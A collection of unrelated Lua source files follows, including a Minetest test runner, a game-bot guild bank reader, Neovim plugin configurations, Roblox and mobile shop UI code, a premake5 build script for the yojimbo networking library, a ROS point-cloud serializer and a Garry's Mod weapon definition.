func) local testcase = cubictest.TestCase:new { description = description, func = func } self:add(testcase) return testcase end } -- running function cubictest.testrunner:runAll(filter) if type(filter) == "string" then filter = cubictest.match.matches(filter) end local run_state = Run({ type = "Suite" }) run_state:add(Start()) for _, spec in pairs(specifications) do if not filter or filter(spec) then self.ctx_spec = spec local result_state = spec:run(Run(spec, run_state)) run_state:add(result_state) end end self.ctx_spec = nil run_state:add(End()) reporter:report_event(run_state) reporter:print() end local usage = "<filter> | all" core.register_chatcommand(core.get_current_modname() .. ":run", { description = "Run tests.", params = usage, privs = { server = true }, func = function(name, param) if param == "all" then cubictest.testrunner:runAll() return true end local filter = string.match(param, "([^ ]+)") if filter then cubictest.testrunner:runAll(filter) return true end return false, "Usage: " .. usage end, })
include("memorytable.lua"); include("guildbankitem.lua"); CGuildbank = class( function (self) self.PageListAddress = memoryReadRepeat("uintptr", getProc(), getBaseAddress(addresses.bank.guild.base),0xC4); self.PageAddresses = {}; self.BagSlot = {}; local timeStart = getTime(); if( settings.profile.options.DEBUG_INV ) then printf( "Guild Bank update took: %d\n", deltaTime( getTime(), timeStart ) ); end; end ); function CGuildbank:update() local timeStart = getTime(); if self:updatePageAddresses() == false then -- Unable to update at this moment return end -- Flick though pages to initialize items for i = 1, #self.PageAddresses do RoMCode("GuildBank_PageRequest("..i..")") end for slotNumber = 1, #self.PageAddresses*100, 1 do if self.BagSlot[slotNumber] then self.BagSlot[ slotNumber ]:update(); else self.BagSlot[slotNumber] = CGuildbankItem( slotNumber ) end end if( settings.profile.options.DEBUG_INV ) then printf( "Guild Bank update took: %d\n", deltaTime( getTime(), timeStart ) ); end; end; function CGuildbank:updatePageAddresses() local tmpPage1Address = memoryReadUIntPtr(getProc(), addresses.staticGuildBankBase,{0xC4,0x0}) -- If update not necessary if self.PageAddresses[1] ~= nil and self.PageAddresses[1] == tmpPage1Address and self.PageAddresses[page] then return true end -- See if Guild Vault is available in this zone. if tmpPage1Address == self.PageListAddress then print ("Guild Vault not available here.") return false end -- Update page addresses. self.PageAddresses = {[1] = tmpPage1Address} local curPage = 1 local nextPageAddress, newFound repeat -- Look for new page address among the 3 addresses on this page. newFound = false for i = 0, 2 do nextPageAddress = memoryReadUInt(getProc(),self.PageAddresses[curPage] + i*0x4) -- see if we already have this address for k,v in pairs(self.PageAddresses) do if self.PageListAddress == nextPageAddress or v == nextPageAddress then nextPageAddress = nil break end end if nextPageAddress then -- add it newFound = true curPage = curPage + 1 self.PageAddresses[curPage] = nextPageAddress break end end until not newFound return true end function CGuildbank:findItem( itemNameOrId, range) if memoryReadBytePtr(getProc(),addresses.staticGuildBankBase, addresses.guildBankOpen_offset) ~= 1 then print("Warning! Guild bank is not open.") return end if self:updatePageAddresses() == false then -- Unable to update at this moment return end local first, last, location = getInventoryRange(range) -- get bag slot range if location ~= "guildbank" and location ~= nil then printf("You can only use guildbank ranges with 'guildbank:findItem'. You cannot use '%s' which is in %s\n", range, location) end if first == nil then first , last = 1, #self.PageAddresses*100 -- default, search all end local smallestStack = nil local item for slot = first, last do if self.BagSlot[slot] then item = self.BagSlot[slot] item:update() else self.BagSlot[slot] = CGuildbankItem(slot) item = self.BagSlot[slot] end if item.Available and (item.Name == itemNameOrId or item.Id == itemNameOrId) then if (os.clock() - item.LastMovedTime) > ITEM_REUSE_DELAY then if item.ItemCount > 1 then -- find smallest stack if smallestStack == nil or smallestStack.ItemCount > item.ItemCount then smallestStack = item end else return item end end end; end; return smallestStack end function CGuildbank:itemTotalCount(itemNameOrId, range) if memoryReadBytePtr(getProc(),addresses.staticGuildBankBase, addresses.guildBankOpen_offset) ~= 1 then print("Warning! Guild bank is not open.") return 0 end if self:updatePageAddresses() == false then -- Unable to update at this moment return 0 end local first, last, location = getInventoryRange(range) -- get bag slot range if location and location ~= "guildbank" then print("guildbank:itemTotalCount() only supports ranges in the guildbank, eg. \"guildbank\",\"guildbank1\",\"guildbank2\",etc.") return end if first == nil then first = 1 last = #self.PageAddresses*100 end local item local totalCount = 0; for slot = first, last do if self.BagSlot[slot] then item = self.BagSlot[slot] item:update() else self.BagSlot[slot] = CGuildbankItem(slot) item = self.BagSlot[slot] end if item.Available and (item.Id == itemNameOrId or item.Name == itemNameOrId) then if itemNameOrId == "<EMPTY>" or itemNameOrId == 0 then -- so you can count empty slots totalCount = totalCount + 1 else totalCount = totalCount + item.ItemCount; end end end; return totalCount; end;
local present, _ = pcall(require, "packerInit") local packer if present then packer = require("packer") else return false end local use = packer.use return packer.startup(function() use({ "wbthomason/packer.nvim", }) use({ "lewis6991/impatient.nvim", }) use({ "nathom/filetype.nvim", }) use({ "lambdalisue/suda.vim", }) use({ "akinsho/nvim-bufferline.lua", after = "nord.nvim", }) use({ "jose-elias-alvarez/nvim-lsp-ts-utils", after = "nvim-lspconfig", }) use({ "mhartington/formatter.nvim", config = function() require("plugins.formatter") end, }) use({ "mfussenegger/nvim-lint", config = function() require("plugins.linter").setup() end, }) use({ "famiu/feline.nvim", after = "nvim-web-devicons", config = function() require("plugins.statusline") end, }) -- color related stuff use({ "shaunsingh/nord.nvim", after = "packer.nvim", config = function() require("theme") end, }) use({ "norcalli/nvim-colorizer.lua", event = "BufRead", config = function() require("plugins.others").colorizer() end, }) -- language related plugins use({ "nvim-treesitter/nvim-treesitter", event = "BufRead", config = function() require("plugins.treesitter") end, }) use({ "folke/trouble.nvim", after = "nvim-lspconfig", config = function() require("plugins.trouble") end, }) use({ "ray-x/lsp_signature.nvim", after = "nvim-lspconfig", }) use({ "williamboman/nvim-lsp-installer", }) use({ "neovim/nvim-lspconfig", after = "nvim-lsp-installer", config = function() require("plugins.lspconfig") end, }) -- Lua use({ "ahmedkhalf/project.nvim", config = function() require("project_nvim").setup({ -- your configuration comes here -- or leave it empty to use the default settings -- refer to the configuration section below }) end, }) use({ "onsails/lspkind-nvim", event = "BufRead", config = function() require("plugins.others").lspkind() end, }) use({ "kosayoda/nvim-lightbulb", after = "nvim-lspconfig", }) use({ "ray-x/navigator.lua", requires = { "ray-x/guihua.lua", run = "cd lua/fzy && make" }, after = "nvim-lspconfig", config = function() require("navigator").setup() end, }) -- load compe in insert mode only use({ "hrsh7th/nvim-cmp", config = function() require("plugins.cmp") end, wants = "LuaSnip", requires = { { "L3MON4D3/LuaSnip", wants = "friendly-snippets", event = "InsertCharPre", config = function() require("plugins.luasnip") end, }, { "hrsh7th/cmp-nvim-lsp", }, { "saadparwaiz1/cmp_luasnip", }, { "hrsh7th/cmp-buffer", }, { "hrsh7th/cmp-path", }, { "ray-x/cmp-treesitter", }, { "rafamadriz/friendly-snippets", event = "InsertCharPre", }, }, }) -- file managing , picker etc use({ "kyazdani42/nvim-tree.lua", cmd = "NvimTreeToggle", config = function() require("plugins.nvimtree") end, }) use({ "kyazdani42/nvim-web-devicons", after = "nord.nvim", }) use({ "nvim-lua/plenary.nvim", }) use({ "nvim-lua/popup.nvim", after = "plenary.nvim", }) use({ "nvim-telescope/telescope.nvim", cmd = "Telescope", config = function() require("plugins.telescope") end, }) use({ "nvim-telescope/telescope-fzf-native.nvim", run = "make", cmd = "Telescope", }) use({ "nvim-telescope/telescope-media-files.nvim", cmd = "Telescope", }) -- git stuff use({ "lewis6991/gitsigns.nvim", after = "plenary.nvim", config = function() require("plugins.gitsigns") end, }) -- misc plugins use({ "windwp/nvim-autopairs", after = "nvim-cmp", config = function() require("plugins.autopairs") end, }) use({ "andymass/vim-matchup", event = "CursorMoved", }) use({ "b3nj5m1n/kommentary", config = function() require("plugins.others").comment() end, }) use({ "glepnir/dashboard-nvim", --[[cmd = { "Dashboard", "DashboardNewFile", "DashboardJumpMarks", "SessionLoad", "SessionSave" },]] -- setup = function() require("plugins.dashboard") end, }) use({ "tweekmonster/startuptime.vim", cmd = "StartupTime", }) -- smooth scroll use({ "karb94/neoscroll.nvim", event = "WinScrolled", config = function() require("plugins.others").neoscroll() end, }) use({ "Pocco81/TrueZen.nvim", cmd = { "TZAtaraxis", "TZMinimalist", "TZFocus", }, config = function() require("plugins.zenmode") end, }) use({ "lukas-reineke/indent-blankline.nvim", event = "BufRead", setup = function() require("plugins.others").blankline() end, }) use({ "folke/which-key.nvim", event = "VimEnter", config = function() require("which-key").setup({ -- your configuration comes here -- or leave it empty to use the default settings -- refer to the configuration section below }) end, }) use({ "folke/lua-dev.nvim", }) use({ "rcarriga/nvim-notify", config = function() require("plugins.others").notify() end, }) use({ "phaazon/hop.nvim", cmd = { "HopWord", "HopLine", "HopChar1", "HopChar2", "HopPattern", }, as = "hop", config = function() -- you can configure Hop the way you like here; see :h hop-config require("hop").setup() end, }) end)
local class = require('middleclass') local Controller = require('mvc.Controller') local HasSignals = require('HasSignals') local ShopController = class("ShopController", Controller):include(HasSignals) function ShopController:initialize() Controller.initialize(self) HasSignals.initialize(self) end function ShopController:viewDidLoad() self.view:layout() self.view:on('buy',function(entry,mul) local rmb = entry[1] local gem = entry[2] local Pay = require('pay.pay') Pay.go(rmb*mul,function(success) if success then local app = require("app.App"):instance() app.session.user:paySuccess(gem*mul,rmb*mul) end end) self.emitter:emit('back') end) end function ShopController:clickBack() self.emitter:emit('back') end function ShopController:finalize()-- luacheck: ignore end return ShopController
local Players = game:GetService("Players") local MarketplaceService = game:GetService("MarketplaceService") local Roact = require(script.Parent.Roact) local RoactMaterial = require(script.Parent.RoactMaterial) local MarketPromise = require(script.Parent.MarketPromise) local UI_CORNER_ENABLED = true local ShopEntry = Roact.Component:extend("ShopEntry") ShopEntry.defaultProps = { LayoutOrder = 0, EntryName = "Suite", TopText = "Suite", BottomText = "", AssetId = 5088135, InfoType = Enum.InfoType.GamePass, Theme = RoactMaterial.Themes.Dark, } function ShopEntry:init(props) self:setState({ PriceText = "ERR_FAIL", ProductImage = "rbxasset://textures/ui/GuiImagePlaceholder.png", }) self.position, self.setPosition = Roact.createBinding(-49) MarketPromise.PromiseProductInfo(props.AssetId, props.InfoType):AndThen(function(ProductInfo) if ProductInfo.PriceInRobux ~= 0 then self:setState({ PriceText = tostring(ProductInfo.PriceInRobux), }) end if ProductInfo.IconImageAssetId ~= 0 then self:setState({ ProductImage = string.format("rbxassetid://%d", ProductInfo.IconImageAssetId), }) end end):Catch(warn) end function ShopEntry:render() return Roact.createElement(RoactMaterial.ThemeProvider, { Theme = self.props.Theme, }, { [self.props.EntryName] = Roact.createElement("Frame", { BackgroundTransparency = 1, LayoutOrder = self.props.LayoutOrder, Size = UDim2.fromScale(0.75, 0.75), AnchorPoint = Vector2.new(0.5, 0.5), Position = UDim2.fromScale(0.5, 0.5), ClipsDescendants = true, }, { Roact.createElement(RoactMaterial.Shadow, { Elevation = 4, }), ShopMain = Roact.createElement("ImageLabel", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 1), ZIndex = 6, ClipsDescendants = true, Image = "rbxassetid://1934624205", ImageColor3 = Color3.fromRGB(30, 30, 30), ScaleType = Enum.ScaleType.Slice, SliceCenter = Rect.new(4, 4, 252, 252), }, { PurchaseButton = Roact.createElement(RoactMaterial.TransparentButton, { ZIndex = 12, Size = UDim2.fromScale(1, 1), OnClicked = function() if self.props.InfoType == Enum.InfoType.GamePass then MarketplaceService:PromptGamePassPurchase(Players.LocalPlayer, self.props.AssetId) elseif self.props.InfoType == Enum.InfoType.Product then MarketplaceService:PromptProductPurchase(Players.LocalPlayer, self.props.AssetId) end end, }), ContainerFrame = Roact.createElement("Frame", { Size = UDim2.fromScale(1, 1), BackgroundTransparency = 1, }, { Roact.createElement("UIListLayout", { HorizontalAlignment = Enum.HorizontalAlignment.Center, SortOrder = Enum.SortOrder.LayoutOrder, }), Roact.createElement("UIPadding", { PaddingBottom = UDim.new(0.05, 0), PaddingLeft = UDim.new(0.143, 0), PaddingRight = UDim.new(0.143, 0), PaddingTop = UDim.new(0.05, 0), }), GamePassIcon = Roact.createElement("ImageLabel", { Size = UDim2.fromScale(0.95, 0.95), BackgroundTransparency = 1, ZIndex = 6, Image = self.state.ProductImage, }, table.create(1, Roact.createElement("UIAspectRatioConstraint"))), ItemTitle = Roact.createElement("Frame", { BackgroundTransparency = 1, LayoutOrder = 1, Size = UDim2.fromScale(1, 0.2), ZIndex = 6, }, { Roact.createElement("UIListLayout", { HorizontalAlignment = Enum.HorizontalAlignment.Center, SortOrder = Enum.SortOrder.LayoutOrder, }), TopTitle = Roact.createElement("TextLabel", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 0.5), ZIndex = 6, Font = Enum.Font.SourceSans, Text = self.props.TopText, TextColor3 = Color3.new(1, 1, 1), TextScaled = true, TextTransparency = 0.129, TextXAlignment = Enum.TextXAlignment.Left, TextYAlignment = Enum.TextYAlignment.Top, }), BottomTitle = Roact.createElement("TextLabel", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 0.5), ZIndex = 6, LayoutOrder = 1, Font = Enum.Font.SourceSans, Text = self.props.BottomText, TextColor3 = Color3.new(1, 1, 1), TextScaled = true, TextTransparency = 0.129, TextXAlignment = Enum.TextXAlignment.Left, }), }), PriceFrame = Roact.createElement("Frame", { LayoutOrder = 2, BackgroundTransparency = 1, Size = UDim2.fromScale(1, 0.096), ZIndex = 6, }, { ItemPrice = Roact.createElement("TextLabel", { BackgroundTransparency = 1, Size = UDim2.fromScale(1, 1), ZIndex = 6, Font = Enum.Font.SourceSansSemibold, Text = self.state.PriceText, TextColor3 = Color3.fromRGB(0, 150, 136), TextScaled = true, TextXAlignment = Enum.TextXAlignment.Right, [Roact.Event.Changed] = function(rbx, property) if property == "TextBounds" or string.match(property, "Size$") then self.setPosition(-(rbx.TextBounds.X + 4)) end end, }), RobuxIcon = Roact.createElement("ImageLabel", { AnchorPoint = Vector2.new(1, 0), BackgroundTransparency = 1, Position = self.position:map(function(value) return UDim2.new(1, value, 0, 0) end), Size = UDim2.fromScale(1, 1), ZIndex = 12, Image = "rbxassetid://4456265931", ImageColor3 = Color3.fromRGB(0, 150, 136), ImageRectOffset = Vector2.new(43, 47), ImageRectSize = Vector2.new(28, 32), }, table.create(1, Roact.createElement("UIAspectRatioConstraint"))), }), }), }), }), }) end return ShopEntry
local plugin_dir = vim.fn.expand('<sfile>:p:h:h') .."/data/" -- TODO: better way to resolve plugin path? vim.g.extmark_toy_plugin_dir = plugin_dir
return function () local cmp = require'cmp' local luasnip = require("luasnip") local main_sources = { { name = 'nvim_lsp' }, { name = 'luasnip' }, { name = 'buffer' }, { name = 'path' }, { name = 'emoji' }, { name = 'npm', keyword_length = 4 } } local gitcommit_sources = { { name = 'cmp_git' }, { name = 'buffer' }, { name = 'emoji' } } local cmdline_cmd_sources = { { name = 'cmdline' }, { name = 'cmdline_history' }, { name = 'path' }, { name = 'buffer' }, } local cmdline_lookup_sources = { { name = 'buffer' }, { name = 'cmdline_history' }, } local has_words_before = function() local line, col = unpack(vim.api.nvim_win_get_cursor(0)) return col ~= 0 and vim.api.nvim_buf_get_lines(0, line - 1, line, true)[1]:sub(col, col):match("%s") == nil end cmp.setup({ snippet = { expand = function(args) require('luasnip').lsp_expand(args.body) end, }, mapping = { ['<C-b>'] = cmp.mapping(cmp.mapping.scroll_docs(-4), { 'i', 'c' }), ['<C-f>'] = cmp.mapping(cmp.mapping.scroll_docs(4), { 'i', 'c' }), ['<C-Space>'] = cmp.mapping(cmp.mapping.complete(), { 'i', 'c' }), ['<C-y>'] = cmp.config.disable, -- Specify `cmp.config.disable` if you want to remove the default `<C-y>` mapping. ['<C-e>'] = cmp.mapping({ i = cmp.mapping.abort(), c = cmp.mapping.close(), }), ['<CR>'] = cmp.mapping.confirm({ select = false }), -- Accept currently selected item. Set `select` to `false` to only confirm explicitly selected items. ["<Tab>"] = cmp.mapping(function(fallback) if cmp.visible() then cmp.select_next_item() elseif luasnip.expand_or_jumpable() then luasnip.expand_or_jump() elseif has_words_before() then cmp.complete() else fallback() end end, { "i", "s" }), ["<S-Tab>"] = cmp.mapping(function(fallback) if cmp.visible() then cmp.select_prev_item() elseif luasnip.jumpable(-1) then luasnip.jump(-1) else fallback() end end, { "i", "s" }), }, sources = cmp.config.sources(main_sources) }) -- Set configuration for specific filetype. cmp.setup.filetype('gitcommit', { sources = cmp.config.sources(gitcommit_sources) }) -- Use buffer source for `/` (if you enabled `native_menu`, this won't work anymore). cmp.setup.cmdline('/', { sources = cmp.config.sources(cmdline_lookup_sources) }) cmp.setup.cmdline('?', { sources = cmp.config.sources(cmdline_lookup_sources) }) -- Use cmdline & path source for ':' (if you enabled `native_menu`, this won't work anymore). cmp.setup.cmdline(':', { sources = cmp.config.sources(cmdline_cmd_sources) }) require("luasnip.loaders.from_vscode").load() require("cmp_git").setup() end
yojimbo_version = "1.0" libs = { "sodium", "mbedtls", "mbedx509", "mbedcrypto" } solution "Yojimbo" kind "ConsoleApp" language "C++" platforms { "x64" } configurations { "Debug", "Release" } if os.istarget "windows" then includedirs { ".", "./windows", "netcode.io", "reliable.io" } libdirs { "./windows" } else includedirs { ".", "/usr/local/include", "netcode.io", "reliable.io" } targetdir "bin/" end rtti "Off" links { libs } warnings "Extra" floatingpoint "Fast" vectorextensions "SSE2" configuration "Debug" symbols "On" defines { "YOJIMBO_DEBUG", "NETCODE_DEBUG", "RELIABLE_DEBUG" } configuration "Release" optimize "Speed" defines { "YOJIMBO_RELEASE", "NETCODE_RELEASE", "RELIABLE_RELEASE" } project "test" files { "test.cpp" } links { "yojimbo" } project "yojimbo" kind "StaticLib" defines { "NETCODE_ENABLE_TESTS=1", "RELIABLE_ENABLE_TESTS=1" } files { "yojimbo.h", "yojimbo.cpp", "certs.h", "certs.c", "tlsf/tlsf.h", "tlsf/tlsf.c", "netcode.io/netcode.c", "netcode.io/netcode.h", "reliable.io/reliable.c", "reliable.io/reliable.h" } project "client" files { "client.cpp", "shared.h" } links { "yojimbo" } project "server" files { "server.cpp", "shared.h" } links { "yojimbo" } project "secure_client" files { "secure_client.cpp", "shared.h" } links { "yojimbo" } project "secure_server" files { "secure_server.cpp", "shared.h" } links { "yojimbo" } project "client_server" files { "client_server.cpp", "shared.h" } links { "yojimbo" } project "loopback" files { "loopback.cpp", "shared.h" } links { "yojimbo" } project "soak" files { "soak.cpp", "shared.h" } links { "yojimbo" } if not os.istarget "windows" then -- MacOSX and Linux. newaction { trigger = "test", description = "Build and run all unit tests", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 test" then os.execute "./bin/test" end end } newaction { trigger = "client_server", description = "Build and run client/server test", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 client_server" then os.execute "./bin/client_server" end end } newaction { trigger = "loopback", description = "Build and run loopback test", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 loopback" then os.execute "./bin/loopback" end end } newoption { trigger = "serverAddress", value = "IP[:port]", description = "Specify the server address that the client should connect to", } newaction { trigger = "client", description = "Build and run client", valid_kinds = premake.action.get("gmake2").valid_kinds, valid_languages = premake.action.get("gmake2").valid_languages, valid_tools = premake.action.get("gmake2").valid_tools, execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 client" then if _OPTIONS["serverAddress"] then os.execute( "./bin/client " .. _OPTIONS["serverAddress"] ) else os.execute "./bin/client" end end end } newaction { trigger = "server", description = "Build and run server", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 server" then os.execute "./bin/server" end end } newaction { trigger = "secure_server", description = "Build and run secure server", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 secure_server" then os.execute "./bin/secure_server" end end } newaction { trigger = "docker", description = "Build and run a yojimbo server inside a docker container", execute = function () os.execute "docker run --rm --privileged alpine hwclock -s" -- workaround for clock getting out of sync on macos. see https://docs.docker.com/docker-for-mac/troubleshoot/#issues os.execute "rm -rf docker/yojimbo && mkdir -p docker/yojimbo && mkdir -p docker/yojimbo/tests && cp *.h docker/yojimbo && cp *.cpp docker/yojimbo && cp premake5.lua docker/yojimbo && cp -R reliable.io docker/yojimbo && cp -R netcode.io docker/yojimbo && cp -R tlsf docker/yojimbo && cd docker && docker build -t \"networkprotocol:yojimbo-server\" . && rm -rf yojimbo && docker run -ti -p 40000:40000/udp networkprotocol:yojimbo-server" end } newaction { trigger = "valgrind", description = "Run valgrind over tests inside docker", execute = function () os.execute "rm -rf valgrind/yojimbo && mkdir -p valgrind/yojimbo && mkdir -p valgrind/yojimbo/tests && cp *.h valgrind/yojimbo && cp *.cpp valgrind/yojimbo && cp premake5.lua valgrind/yojimbo && cp -R reliable.io valgrind/yojimbo && cp -R netcode.io valgrind/yojimbo && cp -R tlsf valgrind/yojimbo && cd valgrind && docker build -t \"networkprotocol:yojimbo-valgrind\" . && rm -rf netcode.io && docker run -ti networkprotocol:yojimbo-valgrind" end } newaction { trigger = "matcher", description = "Build and run the matchmaker web service inside a docker container", execute = function () os.execute "docker run --rm --privileged alpine hwclock -s" -- workaround for clock getting out of sync on macos. see https://docs.docker.com/docker-for-mac/troubleshoot/#issues os.execute "cd matcher && docker build -t networkprotocol:yojimbo-matcher . && docker run -ti -p 8080:8080 networkprotocol:yojimbo-matcher" end } newaction { trigger = "secure_client", description = "Build and run secure client and connect to a server via the matcher", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 secure_client" then os.execute "./bin/secure_client" end end } newaction { trigger = "stress", description = "Launch 64 secure client instances to stress the matcher and server", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 secure_client" then for i = 0, 63 do os.execute "./bin/secure_client &" end end end } newaction { trigger = "soak", description = "Build and run soak test", execute = function () os.execute "test ! -e Makefile && premake5 gmake2" if os.execute "make -j32 soak" then os.execute "./bin/soak" end end } newaction { trigger = "cppcheck", description = "Run cppcheck over the source code and write to cppcheck.txt", execute = function () os.execute "cppcheck *.h *.cpp --force --std=c++03 --language=c++ --quiet -U min -U max 2>&1 --config-exclude=tlsf --suppress=incorrectStringBooleanError --suppress=cstyleCast --suppress=unusedFunction --suppress=unusedStructMember --suppress=variableScope --suppress=memsetClassFloat --enable=warning --enable=performance --enable=style --platform=native -j 32 | tee -a cppcheck.txt" end } newaction { trigger = "scan-build", description = "Run clang scan-build over the project", execute = function () os.execute "premake5 clean && premake5 gmake2 && scan-build make all -j32" end } newaction { trigger = "coverity", description = "Integrate latest code into coverity_scan so it gets coverity scanned by travis job", execute = function () os.execute "git checkout coverity_scan && git merge master && git push && git checkout master" end } newaction { trigger = "loc", description = "Count lines of code", execute = function () os.execute "wc -l *.h *.cpp netcode.io/*.c netcode.io/*.h reliable.io/*.c reliable.io/*.h" end } newaction { trigger = "release", description = "Create a release of this project", execute = function () _ACTION = "clean" premake.action.call( "clean" ) files_to_zip = "README.md BUILDING.md CHANGES.md ROADMAP.md *.cpp *.h premake5.lua docker tests tlsf windows" -- todo: need to update this so it works with netcode.io and reliable.io sub-projects os.execute( "rm -rf *.zip *.tar.gz" ); os.execute( "rm -rf docker/yojimbo" ); os.execute( "zip -9r yojimbo-" .. yojimbo_version .. ".zip " .. files_to_zip ) os.execute( "unzip yojimbo-" .. yojimbo_version .. ".zip -d yojimbo-" .. yojimbo_version ); os.execute( "tar -zcvf yojimbo-" .. yojimbo_version .. ".tar.gz yojimbo-" .. yojimbo_version ); os.execute( "rm -rf yojimbo-" .. yojimbo_version ); os.execute( "mkdir -p release" ); os.execute( "mv yojimbo-" .. yojimbo_version .. ".zip release" ); os.execute( "mv yojimbo-" .. yojimbo_version .. ".tar.gz release" ); os.execute( "echo" ); os.execute( "echo \"*** SUCCESSFULLY CREATED RELEASE - yojimbo-" .. yojimbo_version .. " *** \"" ); os.execute( "echo" ); end } newaction { trigger = "sublime", description = "Create sublime project", execute = function () os.execute "cp .sublime yojimbo.sublime-project" end } newaction { trigger = "docs", description = "Build documentation", execute = function () if os.host() == "macosx" then os.execute "doxygen doxygen.config && open docs/html/index.html" else os.execute "doxygen doxygen.config" end end } newaction { trigger = "update_submodules", description = "Updates to latest code for netcode.io and reliable.io", execute = function () os.execute "git pull" os.execute "git submodule update --remote --merge" os.execute "git add *" os.execute "git commit -am \"update submodules\"" os.execute "git push" end } else -- Windows newaction { trigger = "solution", description = "Open Yojimbo.sln", execute = function () os.execute "premake5 vs2019" os.execute "start Yojimbo.sln" end } newaction { trigger = "docker", description = "Build and run a yojimbo server inside a docker container", execute = function () os.execute "cd docker && copyFiles.bat && buildServer.bat && runServer.bat" end } newaction { trigger = "matcher", description = "Build and run the matchmaker web service inside a docker container", execute = function () os.execute "cd matcher && docker build -t networkprotocol:yojimbo-matcher . && docker run -ti -p 8080:8080 networkprotocol:yojimbo-matcher" end } newaction { trigger = "stress", description = "Launch 64 secure client instances to stress the matcher and server", execute = function () for i = 0, 63 do os.execute "if exist bin\\x64\\Debug\\secure_client.exe ( start /B bin\\x64\\Debug\\secure_client ) else ( echo could not find bin\\x64\\Debug\\secure_client.exe )" end end } newaction { trigger = "docs", description = "Build documentation", execute = function () os.execute "doxygen doxygen.config && start docs\\html\\index.html" end } end newaction { trigger = "clean", description = "Clean all build files and output", execute = function () files_to_delete = { "Makefile", "*.make", "*.txt", "*.zip", "*.tar.gz", "*.db", "*.opendb", "*.vcproj", "*.vcxproj", "*.vcxproj.user", "*.vcxproj.filters", "*.sln", "*.xcodeproj", "*.xcworkspace" } directories_to_delete = { "obj", "ipch", "bin", ".vs", "Debug", "Release", "release", "cov-int", "docker/yojimbo", "valgrind/yojimbo", "docs", "xml" } for i,v in ipairs( directories_to_delete ) do os.rmdir( v ) end if not os.istarget "windows" then os.execute "find . -name .DS_Store -delete" for i,v in ipairs( files_to_delete ) do os.execute( "rm -f " .. v ) end else for i,v in ipairs( files_to_delete ) do os.execute( "del /F /Q " .. v ) end end end }
--[[-------------------------------------------------------------------------- -- Dragoon Framework - A Framework for Lua/LOVE -- -- Copyright (c) 2014-2015 TsT worldmaster.fr <tst2005@gmail.com> -- --]]-------------------------------------------------------------------------- local module_with_integrity_check = false local modcount = 0 local core = require "aio.core" local print_no_nl = core.print_no_nl local function integrity_check_code() assert(modcount) print_no_nl([[ -- integrity check --print( (__ICHECKCOUNT__ or "").." module(s) embedded.") assert(__ICHECKCOUNT__==]].. modcount ..[[) if not __ICHECK__ then error("Intergity check failed: no such __ICHECK__", 1) end --do for i,v in ipairs(__ICHECK__) do print(i, v) end end if #__ICHECK__ ~= ]] .. modcount .. [[ then error("Intergity check failed: expect ]] .. modcount .. [[, got "..#__ICHECK__.." modules", 1) end -- end of integrity check ]]) end local function integrity_modcount_incr() modcount = modcount+1 end local function cmd_icheckinit() print_no_nl("local __ICHECK__ = {};__ICHECKCOUNT__=0;\n") module_with_integrity_check = true end local function cmd_icheck() integrity_check_code() end ------------------------------------------------------------------------------ local _M = {} _M.cmd_icheck = cmd_icheck _M.cmd_icheckinit = cmd_icheckinit _M.integrity_modcount_incr = integrity_modcount_incr _M.module_with_integrity_check_get = function() return module_with_integrity_check end return _M
local ffi = require 'ffi' local torch = require 'torch' local ros = require 'ros.env' local utils = require 'ros.utils' local pcl = require 'pcl' local std = ros.std local PointCloud2SerializationHandler = torch.class('ros.PointCloud2SerializationHandler', ros) function init() local names = { 'readPointCloud2', 'writePointCloud2' } return utils.create_method_table("ros_pcl_", names) end local f = init() function PointCloud2SerializationHandler:init() end function PointCloud2SerializationHandler:getType() return "sensor_msgs/PointCloud2" end function PointCloud2SerializationHandler:read(sr, value) -- call deserialization function value = value or pcl.PCLPointCloud2() local newOffset = f.readPointCloud2(sr.storage:cdata(), sr.offset, value:cdata()) sr:setOffset(newOffset) return value end function PointCloud2SerializationHandler:write(sw, value) if torch.isTypeOf(value, pcl.PointCloud) then value = value:toPCLPointCloud2() end if not torch.isTypeOf(value, pcl.PCLPointCloud2) then error("Invalid value type. 'pcl.PCLPointCloud2' expected.") end -- call serialization function local newOffset = f.writePointCloud2(sw.storage:cdata(), sw.offset, utils.cdata(value)) sw:storageChanged(newOffset) end
AddCSLuaFile() SWEP.PrintName = "Нильфгаардский лук" SWEP.Slot = 0 SWEP.SlotPos = 1 SWEP.DrawAmmo = true SWEP.DrawCrosshair = false SWEP.Category = "WitcherRP" SWEP.Author = "" SWEP.Base = "nut_bow_base" SWEP.Instructions = "" SWEP.Contact = "" SWEP.Purpose = "" SWEP.ViewModelFOV = 72 SWEP.ViewModelFlip = false SWEP.Spawnable = true SWEP.AdminSpawnable = true SWEP.ViewModel = "models/morrowind/ariel/longbow/v_ariel_longbow.mdl" SWEP.WorldModel = "models/morrowind/ariel/longbow/w_ariel_longbow.mdl" SWEP.Primary.Damage = 65 SWEP.Primary.Delay = 2 SWEP.Primary.Velocity = 3000 SWEP.Primary.ClipSize = -1 // Size of a clip SWEP.Primary.DefaultClip = 0 // Default number of bullets in a clip SWEP.Primary.Automatic = true // Automatic/Semi Auto SWEP.Primary.Ammo = "XBowBolt" SWEP.Crosshair = true SWEP.Secondary.ClipSize = -1 // Size of a clip SWEP.Secondary.DefaultClip = -1 // Default number of bullets in a clip SWEP.Secondary.Automatic = false // Automatic/Semi Auto SWEP.Secondary.Ammo = "none"
